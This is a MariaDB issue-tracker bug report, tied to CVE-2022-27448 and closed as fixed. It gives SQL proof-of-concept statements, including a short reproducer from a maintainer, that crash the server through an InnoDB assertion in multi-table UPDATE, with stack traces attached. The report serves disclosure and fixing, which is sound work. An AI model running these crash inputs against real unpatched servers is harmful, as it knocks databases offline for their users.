MariaDB Server MDEV-28095

crash in multi-update and implicit grouping

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Major
Resolution:	Fixed
Affects Version/s:	10.9.0, 10.3, 10.4, 10.5, 10.6, 10.7, 10.8
Fix Version/s:	10.3.35, 10.4.25, 10.5.16, (2)
Component/s:	Data Manipulation - Update
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

```
CREATE TABLE v0 ( v3 DOUBLE , v2 TEXT UNIQUE NOT NULL , v1 INT NOT NULL ) ;
INSERT INTO v0 VALUES ( ( 'x' = 62 OR v1 = 33 ) , -1 , 5 ) ;
CREATE TABLE v5 ( v4 CHAR ( 98 ) UNIQUE NULL , ONE INT ) AS SELECT 'x' FROM v0 ;
UPDATE v5 SET v1 = ( NOT ( v4 IS NULL ) ) ;
UPDATE v5 SET v2 = abs ( 0 + 4 ) , v2 = 11 ;
SELECT DISTINCT -1 , v3 + -1 , -1 FROM v0 UNION SELECT DISTINCT * FROM v5 ;
UPDATE v5 NATURAL JOIN v0 SET v4 = v2 , v1 = 0 ORDER BY 97811695.000000 * AVG ( v3
```

report (compiled with ASAN):

```
Thread pointer: 0x62b00015e218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0x7fc262592880 thread_stack 0x5fc00
??:0(__interceptor_backtrace)[0x7cbadb]
mysys/stacktrace.c:212(my_print_stacktrace)[0x2a86d37]
sql/signal_handler.cc:0(handle_fatal_signal)[0x15af5d9]
sigaction.c:0(__restore_rt)[0x7fc286d323c0]
??:0(gsignal)[0x7fc28696003b]
??:0(abort)[0x7fc28693f859]
```

```
ut/ut0dbg.cc:40(ut_dbg_assertion_failed(char const*, char const*, unsigned int)
row/row0mysql.cc:1633(row_update_for_mysql(row_prebuilt_t*))[0x244a426]
handler/ha_innodb.cc:8562(ha_innobase::update_row(unsigned char const*, unsigne
sql/handler.cc:7575(handler::ha_update_row(unsigned char const*, unsigned char
sql/sql_update.cc:2593(multi_update::send_data(List<Item>&))[0x100d8b5]
sql/sql_select.cc:22489(end_send_group(JOIN*, st_join_table*, bool))[0xe2f2e7]
sql/sql_select.cc:20642(do_select(JOIN*, Procedure*))[0xdc6a47]
sql/sql_select.cc:4528(JOIN::exec())[0xdc344d]
```

Issue Links

relates to

MDEV-22185 Failing assertion: node->pcur->rel_pos == BTR_PCUR_ON ... CLOSED

links to

CVE-2022-27448

Activity

Alice Sherepa added a comment - 2022-03-17 12:23

Thanks! Reproducible on 10.3-10.9, with InnoDB, also on non-debug build

```
--source include/have_innodb.inc

CREATE TABLE t1 (a int) engine=innodb;
INSERT INTO t1 VALUES (1),(2);

CREATE TABLE t2 (b int);
INSERT INTO t2 VALUES (1),(2);

UPDATE t1 NATURAL JOIN t2 SET a = 1 ORDER BY AVG (a) ;
```

10.3 6a2d88c132221ea07dd322

```
Version: '10.3.35-MariaDB-debug-log'
2022-03-17 13:15:53 0x7fbfc4c52300  InnoDB: Assertion failure in file /10.
InnoDB: Failing assertion: node->pcur->rel_pos == BTR_PCUR_ON
InnoDB: We intentionally generate a memory trap.
InnoDB: Submit a detailed bug report to https://jira.mariadb.org/
InnoDB: If you get repeated assertion failures or crashes, even
InnoDB: immediately after the mysqld startup, there may be
InnoDB: corruption in the InnoDB tablespace. Please refer to
```

10.3.6a2d88c132221ea07dd322

```
InnoDB: https://mariadb.com/kb/en/library/innodb-recovery-modes/
InnoDB: about forcing recovery.
220317 13:15:53 [ERROR] mysqld got signal 6 ;

Server version: 10.3.35-MariaDB-debug-log

row/row0mysql.cc:1802(row_update_for_mysql(row_prebuilt_t*))[0x55eb98a33ab
handler/ha_innodb.cc:8920(ha_innobase::update_row(unsigned char const*, un
sql/handler.cc:6511(handler::ha_update_row(unsigned char const*, unsigned 
sql/sql_update.cc:2447(multi_update::send_data(List<Item>&))[0x55eb97c977f
```

People

Assignee:

Sergei Golubchik

Reporter:

Jingzhou Fu

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

Dates

Created:

2022-03-16 09:53

Updated:

2022-04-25 11:32

Resolved:

2022-04-25 11:32

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.